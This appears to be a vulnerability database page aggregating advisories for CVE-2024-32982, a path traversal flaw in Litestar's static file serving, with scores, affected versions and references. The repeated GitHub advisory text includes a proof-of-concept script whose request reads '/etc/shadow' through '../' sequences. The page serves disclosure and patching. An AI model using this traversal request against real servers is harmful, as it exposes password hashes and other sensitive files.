CVE-2024-32982
Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.
- Record
CVE-2024-32982- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2024-1511
8.2
Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.
- Record
EUVD-2024-1511- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-83pv-qr33-2vcf
8.2
Litestar and Starlite vulnerable to Path Traversal
Summary
Local File Inclusion via Path Traversal in LiteStar Static File Serving
A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.
Details
The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.
The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:
commonpath([str(directory), file_info["name"], joined_path])
Given the variables:
directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')
The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.
Proof of Concept (PoC)
To reproduce this vulnerability, follow these steps:
-
Set up the environment:
- Install with pip the
uvicornandlitestarpackages. - Create a
staticfolder in the root directory of your project and place any file (e.g., an image) in it for testing. - Ensure the static file serving is enabled, which is typically the default configuration.
- Install with pip the
-
Preparation of the testing environment:
- If using Ubuntu or a similar system, you can use
/etc/shadowwhich contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing. - Create a
main.pyfile with the following content to configure and run the LiteStar server:
from pathlib import Path from litestar import Litestar from litestar.static_files import create_static_files_router import uvicorn app = Litestar( route_handlers=[ create_static_files_router(path="/static", directories=["static"]), ], ) if __name__ == "__main__": uvicorn.run("main:app", host="0.0.0.0", port=8000)- Run this script with the command
python3 main.pyto start the server.
- If using Ubuntu or a similar system, you can use
-
Exploit:
- Prepare an exploit script named
exploit.pywith the following Python code to perform the HTTP request without client-side sanitization:
import http.client def send_request(host, port, path): connection = http.client.HTTPConnection(host, port) connection.request("GET", path) response = connection.getresponse() print(f"Status: {response.status}") print(f"Headers: {response.getheaders()}") data = response.read() print(f"Body: {data.decode('utf-8')}") connection.close() send_request("localhost", 8000, "/static/../../../../../../etc/shadow")- Execute this script using
python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
- Prepare an exploit script named
-
Observe:
- The server should respond with the contents of the
/etc/shadowfile, thereby confirming the path traversal vulnerability. - The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.
- The server should respond with the contents of the
Impact
This Local File Inclusion vulnerability critically affects all instances of…
- Record
GHSA-83pv-qr33-2vcf- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.2
Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.
- Record
CVE-2024-32982- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.2
Litestar and Starlite affected by Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Litestar and Starlite is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.8.3, 2.7.2, and 2.6.4, a Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server. The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at litestar/static_files/base.py. This vulnerability is fixed in versions 2.8.3, 2.7.2, and 2.6.4.
- Record
CVE-2024-32982- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-83pv-qr33-2vcf
8.2
Litestar and Starlite vulnerable to Path Traversal
Summary
Local File Inclusion via Path Traversal in LiteStar Static File Serving
A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.
Details
The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.
The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:
commonpath([str(directory), file_info["name"], joined_path])
Given the variables:
directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')
The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.
Proof of Concept (PoC)
To reproduce this vulnerability, follow these steps:
-
Set up the environment:
- Install with pip the
uvicornandlitestarpackages. - Create a
staticfolder in the root directory of your project and place any file (e.g., an image) in it for testing. - Ensure the static file serving is enabled, which is typically the default configuration.
- Install with pip the
-
Preparation of the testing environment:
- If using Ubuntu or a similar system, you can use
/etc/shadowwhich contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing. - Create a
main.pyfile with the following content to configure and run the LiteStar server:
from pathlib import Path from litestar import Litestar from litestar.static_files import create_static_files_router import uvicorn app = Litestar( route_handlers=[ create_static_files_router(path="/static", directories=["static"]), ], ) if __name__ == "__main__": uvicorn.run("main:app", host="0.0.0.0", port=8000)- Run this script with the command
python3 main.pyto start the server.
- If using Ubuntu or a similar system, you can use
-
Exploit:
- Prepare an exploit script named
exploit.pywith the following Python code to perform the HTTP request without client-side sanitization:
import http.client def send_request(host, port, path): connection = http.client.HTTPConnection(host, port) connection.request("GET", path) response = connection.getresponse() print(f"Status: {response.status}") print(f"Headers: {response.getheaders()}") data = response.read() print(f"Body: {data.decode('utf-8')}") connection.close() send_request("localhost", 8000, "/static/../../../../../../etc/shadow")- Execute this script using
python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
- Prepare an exploit script named
-
Observe:
- The server should respond with the contents of the
/etc/shadowfile, thereby confirming the path traversal vulnerability. - The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.
- The server should respond with the contents of the
Impact
This Local File Inclusion vulnerability critically affects all instances of…
- Record
GHSA-83pv-qr33-2vcf- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-1552
8.2
Litestar and Starlite vulnerable to Path Traversal
Summary
Local File Inclusion via Path Traversal in LiteStar Static File Serving
A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.
Details
The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.
The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:
commonpath([str(directory), file_info["name"], joined_path])
Given the variables:
directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')
The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.
Proof of Concept (PoC)
To reproduce this vulnerability, follow these steps:
-
Set up the environment:
- Install with pip the
uvicornandlitestarpackages. - Create a
staticfolder in the root directory of your project and place any file (e.g., an image) in it for testing. - Ensure the static file serving is enabled, which is typically the default configuration.
- Install with pip the
-
Preparation of the testing environment:
- If using Ubuntu or a similar system, you can use
/etc/shadowwhich contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing. - Create a
main.pyfile with the following content to configure and run the LiteStar server:
from pathlib import Path from litestar import Litestar from litestar.static_files import create_static_files_router import uvicorn app = Litestar( route_handlers=[ create_static_files_router(path="/static", directories=["static"]), ], ) if __name__ == "__main__": uvicorn.run("main:app", host="0.0.0.0", port=8000)- Run this script with the command
python3 main.pyto start the server.
- If using Ubuntu or a similar system, you can use
-
Exploit:
- Prepare an exploit script named
exploit.pywith the following Python code to perform the HTTP request without client-side sanitization:
import http.client def send_request(host, port, path): connection = http.client.HTTPConnection(host, port) connection.request("GET", path) response = connection.getresponse() print(f"Status: {response.status}") print(f"Headers: {response.getheaders()}") data = response.read() print(f"Body: {data.decode('utf-8')}") connection.close() send_request("localhost", 8000, "/static/../../../../../../etc/shadow")- Execute this script using
python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
- Prepare an exploit script named
-
Observe:
- The server should respond with the contents of the
/etc/shadowfile, thereby confirming the path traversal vulnerability. - The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.
- The server should respond with the contents of the
Impact
This Local File Inclusion vulnerability critically affects all instances of…
- Record
PYSEC-2026-1552- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
OSVPYSEC-2026-2605
8.2
Litestar and Starlite vulnerable to Path Traversal
Summary
Local File Inclusion via Path Traversal in LiteStar Static File Serving
A Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of LiteStar. This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.
Details
The vulnerability is located in the file path handling mechanism within the static content serving function, specifically at line 70 in litestar/static_files/base.py.
The function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:
commonpath([str(directory), file_info["name"], joined_path])
Given the variables:
directory = PosixPath('/Users/brian/sandbox/test_vuln/static')
file_info["name"] = '/Users/brian/sandbox/test_vuln/static/../requirements.txt'
joined_path = PosixPath('/Users/brian/sandbox/test_vuln/static/../requirements.txt')
The function outputs '/Users/brian/sandbox/test_vuln/static', incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.
Proof of Concept (PoC)
To reproduce this vulnerability, follow these steps:
-
Set up the environment:
- Install with pip the
uvicornandlitestarpackages. - Create a
staticfolder in the root directory of your project and place any file (e.g., an image) in it for testing. - Ensure the static file serving is enabled, which is typically the default configuration.
- Install with pip the
-
Preparation of the testing environment:
- If using Ubuntu or a similar system, you can use
/etc/shadowwhich contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing. - Create a
main.pyfile with the following content to configure and run the LiteStar server:
from pathlib import Path from litestar import Litestar from litestar.static_files import create_static_files_router import uvicorn app = Litestar( route_handlers=[ create_static_files_router(path="/static", directories=["static"]), ], ) if __name__ == "__main__": uvicorn.run("main:app", host="0.0.0.0", port=8000)- Run this script with the command
python3 main.pyto start the server.
- If using Ubuntu or a similar system, you can use
-
Exploit:
- Prepare an exploit script named
exploit.pywith the following Python code to perform the HTTP request without client-side sanitization:
import http.client def send_request(host, port, path): connection = http.client.HTTPConnection(host, port) connection.request("GET", path) response = connection.getresponse() print(f"Status: {response.status}") print(f"Headers: {response.getheaders()}") data = response.read() print(f"Body: {data.decode('utf-8')}") connection.close() send_request("localhost", 8000, "/static/../../../../../../etc/shadow")- Execute this script using
python3 exploit.py. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.
- Prepare an exploit script named
-
Observe:
- The server should respond with the contents of the
/etc/shadowfile, thereby confirming the path traversal vulnerability. - The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.
- The server should respond with the contents of the
Impact
This Local File Inclusion vulnerability critically affects all instances of…
- Record
PYSEC-2026-2605- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
litestarPyPI |
2.8.0 up to 2.8.3 | 2.8.3 |
litestarPyPI |
2.7.0 up to 2.7.2 | 2.7.2 |
litestarPyPI |
2.0.0 up to 2.6.4 | 2.6.4 |
starlitePyPI |
1.37.0 up to 1.51.16 | 1.51.16 |
litestarPyPI |
2.8.0 up to 2.8.3, plus listed versions 2.8.12.8.2 |
2.8.3 |
starlitePyPI |
1.37.0 up to 1.51.16, plus listed versions 1.38.01.39.01.40.01.40.11.41.0 Show 30 moreShow less1.42.01.43.01.43.11.44.01.45.01.45.11.46.01.47.01.48.01.48.11.49.01.50.01.50.11.50.21.51.01.51.11.51.101.51.111.51.121.51.131.51.141.51.151.51.21.51.31.51.41.51.51.51.61.51.71.51.81.51.9 |
1.51.16 |
litestarPyPI |
2.7.0 up to 2.7.2, plus listed versions 2.7.1 |
2.7.2 |
litestarPyPI |
2.0.0 up to 2.6.4, plus listed versions 2.0.12.1.02.1.12.2.02.2.1 Show 19 moreShow less2.3.02.3.12.3.22.4.02.4.12.4.22.4.32.4.42.4.52.5.02.5.12.5.22.5.32.5.42.5.52.6.02.6.12.6.22.6.3 |
2.6.4 |
litestarPyPI |
2.0.0 up to 2.6.4, 2.7.0 up to 2.7.2, 2.8.0 up to 2.8.3, plus listed versions 2.0.12.1.02.1.12.2.02.2.1 Show 22 moreShow less2.3.02.3.12.3.22.4.02.4.12.4.22.4.32.4.42.4.52.5.02.5.12.5.22.5.32.5.42.5.52.6.02.6.12.6.22.6.32.7.12.8.12.8.2 |
2.6.42.7.22.8.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-32982 is a high vulnerability (CVSS 8.2) in Litestar-org Litestar, published May 6, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.72%, the 54th percentile. Fixed in litestar 2.8.3.
References
github.com/litestar-org/litestar/security/advisories/GHSA-83pv-qr33-2vcf
github.com/litestar-org/litestar/commit/57e706e7effdc182fc9a2af5981bc88afb21851b
github.com/litestar-org/litestar/blob/main/litestar/static_files/base.py
nvd.nist.gov/vuln/detail/CVE-2024-32982
github.com/litestar-org/litestar/commit/a07b79b84d8717bec5ac4d4674c1e4920ba9c813
github.com/advisories/GHSA-83pv-qr33-2vcf
github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32982.json
github.com/litestar-org/litestar
pypi.org/project/litestar
Left out here: the rest of 4 source descriptions. The JSON record has them.